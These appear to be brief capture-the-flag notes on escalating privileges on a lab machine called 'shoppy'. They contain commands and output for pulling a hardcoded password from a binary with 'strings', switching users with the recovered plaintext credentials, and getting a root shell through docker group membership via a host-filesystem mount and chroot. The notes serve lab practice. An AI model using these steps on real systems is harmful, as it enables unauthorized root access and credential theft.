Priv Esc

remembermethisway
Sh0ppyBest@pp!

jaeger@shoppy:~/.pm2$ sudo -l
[sudo] password for jaeger:
Matching Defaults entries for jaeger on shoppy:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jaeger may run the following commands on shoppy:
    (deploy) /home/deploy/password-manager

jaeger@shoppy:~$ sudo -u deploy /home/deploy/password-manager
Welcome to Josh password manager!
Please enter your master password: Sh0ppyBest@pp!
Access denied! This incident will be reported !

jaeger@shoppy:~$ strings /home/deploy/password-manager
<SNIP>
libgcc_s.so.1
libc.so.6
GCC_3.0
GLIBC_2.2.5
CXXABI_1.3
GLIBCXX_3.4
GLIBCXX_3.4.21
u/UH
[]A\A]A^A_
Welcome to Josh password manager!
Please enter your master password:
Access granted! Here is creds !
cat /home/deploy/creds.txt
Access denied! This incident will be reported !
;*3$"
zPLR
GCC: (Debian 10.2.1-6) 10.2.1 20210110
crtstuff.c
<SNIP>
.init_array
.fini_array
.dynamic
.got.plt
.data
.bss
.comment

jaeger@shoppy:~$ strings -e l /home/deploy/password-manager
Sample

deploy:Deploying@pp!

jaeger@shoppy:~$ su deploy
Password:
$ id
uid=1001(deploy) gid=1001(deploy) groups=1001(deploy),998(docker)

deploy@shoppy:~$ docker image ls
REPOSITORY   TAG       IMAGE ID       CREATED       SIZE
alpine       latest    d7d3d98c851f   2 years ago   5.53MB
deploy@shoppy:~$ docker run -v /:/mnt --rm -it alpine chroot /mnt sh